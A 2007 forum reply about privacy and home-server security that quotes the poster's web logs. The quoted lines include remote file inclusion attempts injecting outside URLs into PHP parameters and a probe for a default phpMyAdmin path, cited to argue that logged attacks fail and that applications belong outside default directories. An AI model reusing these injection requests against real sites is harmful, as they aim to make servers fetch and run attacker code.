I want a transistor

On a sunny day (Mon, 26 Nov 2007 07:03:32 GMT) it happened JosephKK wrote in :

I am not denying this is perhaps possible, but I know here every link I clicked is stored for years, every email passes via NSA evaluators, every phone call too, what not. So 'spy'.. we are pretty much transparent now to the Rulers Of The World. I have an email subscription to

, and on regular basis receive email warnings about the next virus, bug, attack, what not. If you can read German, try to subscribe to them. Some tips are important, but not even my firefox is up to date, because if I needed it to be up to date, then I would need to re-install a new version each week. The same for adobe, realplayer, many other applications. There is no 'safe' computer. Cookies never gave me any problems, they are convenient if I read news sites (like nytimes.com) and I am welcomed with my own name etc. Also the fact that I run Linux probably protects me, with the system online now for several years 24/7, the only real dangerous attacks I have seen are the ones trying to do http request to other servers via mine, ones trying obvious directories to grab my databases, some recently to use holes in my wiki / blog. Things like this: 213.60.19.182 cm19182.red.mundo-r.com - - [21/Nov/2007:04:26:54 +0100] "GET /kalendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1" 404 887 Or this 195.188.8.14 195.188.8.14 - - [16/Nov/2007:18:12:58 +0100] "GET /pmwiki.php?GLOBALS[FarmD]=http://www.s1ko.jazztel.es/safe.gif? HTTP/1.1" 404 887

One recommendation from this, apart from firewalls etc: DO NOT KEEP YOUR APPLICATIONS IN THEIR DEFAUT DIRECTORIES.

See them try: 66.43.88.82 mail.vividcollection.com - - [19/Nov/2007:18:38:53 +0100] "GET /phpMyAdmin-2.5.1/main.php HTTP/1.0" 404 887 It failed, because I do not keep things in phpMyAdmin-2.5.1 (he tried all other possible versions too, also for other programs).

Yes I expose those IPs, killfile them. In my case they are semi-auto added to the firewall, never ever being able to even find my serverIP from the servername again, as I also run the nameserver :-)

Cookies? Nothing to worry about.